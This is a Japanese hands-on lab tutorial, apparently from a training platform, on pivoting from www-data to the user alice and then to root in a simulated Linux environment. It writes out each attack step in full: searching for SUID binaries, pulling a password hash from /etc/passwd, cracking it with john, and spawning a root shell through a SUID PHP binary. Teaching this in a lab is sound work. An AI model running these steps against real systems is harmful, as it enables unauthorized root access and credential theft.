はじめに
この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びます。まず別の通常ユーザーに権限昇格し、そのユーザーの権限を使って root ユーザーに昇格することでこれを達成します。この中間ユーザーは「踏み台」ユーザーと呼ばれます。
この実験の目標は、www-data ユーザーから alice ユーザーに権限昇格し、次に alice ユーザーから root ユーザーに権限昇格することです。
ラボ環境を初期化する
このステップでは、実験環境を初期化します。
まず、ターミナルを開き、
/home/labex/projectディレクトリに移動します。cd /home/labex/project以下のコマンドを実行して、実験用の環境をセットアップします。
./env_setup.sh
このコマンドは、実験に必要な環境をセットアップするスクリプトをダウンロードして実行します。このコマンドを実行した後、www-data ユーザーに切り替わり、Web 脆弱性を介して取得した初期シェルを模擬するはずです。
SUID 権限昇格を試みる
このステップでは、SUID (Set User ID) 技術を使って権限昇格を試みます。SUID ビットが設定された実行可能ファイルを検索します。これらのファイルは、ファイル所有者(この場合は root)の権限で実行できます。
まず、
www-dataユーザーがアクセスできる SUID 実行可能ファイルを検索しましょう。find / -user root -perm -4000 -print 2> /dev/null > ~/www-data_suid_files.txtこのコマンドは、ルートユーザーが所有し、SUID ビットが設定された(パーミッションモード 4000)ファイルをファイルシステム全体で検索します。
コマンドを実行した後、
www-data_suid_files.txtファイルに SUID 実行可能ファイルのリストが表示されるはずです。このファイルの内容を確認しましょう。cat ~/www-data_suid_files.txt
ただし、この場合は、SUID を使った権限昇格に適したファイルはありません。
ホームディレクトリを調査する
SUID 技術を使った権限昇格に失敗したので、潜在的な踏み台ユーザーのホームディレクトリを調査しましょう。
まず、
/homeディレクトリの内容をファイルに保存して、さらなる分析を行いましょう。ls -alh /home > ~/home_dir_contents.txtこのコマンドは、
/homeディレクトリの内容を長い形式でリストアップし、ファイルサイズやパーミッションを含めてhome_dir_contents.txtファイルに保存します。次に、潜在的な踏み台を特定するために、
home_dir_contents.txtファイルの内容を確認しましょう。cat ~/home_dir_contents.txt出力に
aliceという名前のディレクトリが表示されるはずです。これは、システム上にaliceという名前のユーザーが存在することを示しています。
Alice ユーザーへの権限昇格を試みる
www-data ユーザーは alice ディレクトリにアクセスできないため、まず alice ユーザーに権限昇格する方法を見つける必要があります。
aliceユーザーに関する情報を/etc/passwdファイルから確認しましょう。cat /etc/passwd | grep alice > ~/alice_info.txtalice_info.txtファイルの内容を確認して、aliceユーザーの詳細を表示します。cat ~/alice_info.txt期待される出力:
alice:$1$ignite$tN3eRajwqVQLh1dDmMVix0:5001:5001::/home/alice:/bin/bash出力には、パスワードハッシュを含む
aliceユーザーのエントリが表示されるはずです。パスワードハッシュをクラックするには、
johnツールを使用できます。新しいターミナルを開き、以下のコマンドを実行します。john ~/alice_info.txt > cracked_passwords.txt出力例:
Created directory: /var/www/.john Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 1g 0:00:00:00 100% 2/3 5.000g/s 6780p/s 6780c/s 6780C/s 123456..crawford Use the "--show" option to display all of the cracked passwords reliably Session completedこれでパスワードクラッキングプロセスが開始されます。パスワードがクラックされると、
cracked_passwords.txtファイルにパスワードが表示されるはずです。cat ~/cracked_passwords.txt出力例:
Loaded 1 password hash (md5crypt [MD5 32/64 X2]) beautiful (alice)この場合、
aliceユーザーのパスワードはbeautifulです。suコマンドを使用してaliceユーザーに切り替えます。su - aliceパスワードを求められたら、先ほどクラックしたパスワード (
beautiful) を入力します。beautifulaliceユーザーに正常に切り替えた後、aliceディレクトリに移動し、alice.txtという名前の新しいファイルを作成します。cd /home/alicealice.txtという名前の新しいファイルを作成します。touch ~/alice.txtこれで
aliceディレクトリとその内容にアクセスできるはずです。
Alice ユーザーとして SUID 権限昇格を試みる
alice ユーザーに権限昇格したので、再度 SUID を使った権限昇格手法を試してみましょう。
aliceユーザーのホームディレクトリにいることを確認します。cd /home/alice以下のコマンドを実行して、SUID ビットが設定されたファイルを検索します。
find / -user root -perm -4000 -print 2> /dev/null > alice_suid_files.txtalice_suid_files.txtファイルの内容を確認して、SUID ファイルのリストを表示します。cat alice_suid_files.txt期待される出力:
... /var/bin/php ...今回は、出力に実行可能ファイル
/var/bin/phpが表示されるはずです。このファイルは SUID を使った権限昇格に利用できます。root ユーザーに権限昇格するには、以下のコマンドを実行します。
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"このコマンドは、root 権限で新しいシェルを起動する PHP スクリプトを実行します。
これで root シェルが起動しているはずで、ターミナルのプロンプトが
#になっています。root ディレクトリにファイルを作成することで、root 権限を持っていることを確認します。touch /root/root.txtファイルが権限エラーなしで作成された場合、SUID 手法を使って root ユーザーに権限昇格に成功したことになります。
ディレクトリ権限の違いを理解する
alice ユーザーは SUID 実行可能な php ファイルを見つけることができたのに、www-data ユーザーは見つけることができなかったのはなぜか疑問に思うかもしれません。その答えはディレクトリの権限にあります。
前のステップの後、あなたは以下のような root ユーザーとしてのシェルを持っているはずです。
sh-5.1#
/var/binディレクトリの権限を調べ、出力をファイルに保存しましょう。ls -lh /var > /root/var_permissions.txtvar_permissions.txtファイルの内容を確認して、/varディレクトリの権限を表示します。cat /root/var_permissions.txt期待される出力:
total 0 ... drwxr-x--- 2 alice alice 17 Apr 15 03:48 bin ...出力には、
/var/binディレクトリがaliceユーザーとグループによって所有されていることが表示されるはずです。他のユーザーはこのディレクトリに対する読み取り、書き込み、または実行権限を持っていません。
これは、alice ユーザーに権限昇格したときに、以前は www-data ユーザーがアクセスできなかったファイルやディレクトリにアクセスできるようになったことを意味します。この権限の違いにより、権限昇格のために SUID 実行可能ファイルを見つけて利用することができました。
まとめ
この実験では、直接 root ユーザーに権限昇格できない場合に、どのようにして root ユーザーに権限昇格するかを学びました。まず、踏み台ユーザーである alice ユーザーに権限昇格し、その後 alice ユーザーの権限を使って root ユーザーに権限昇格することでこれを達成しました。
この実験から得られる重要なポイントは、常にユーザー間の権限の違いに注意することです。これらの違いは、時には権限昇格に利用できることがあります。この実験では簡単な例を使いましたが、実際のシナリオはもっと複雑な場合がありますが、核心となる原則は同じです。つまり、ユーザー権限の違いを利用して権限昇格を達成するということです。



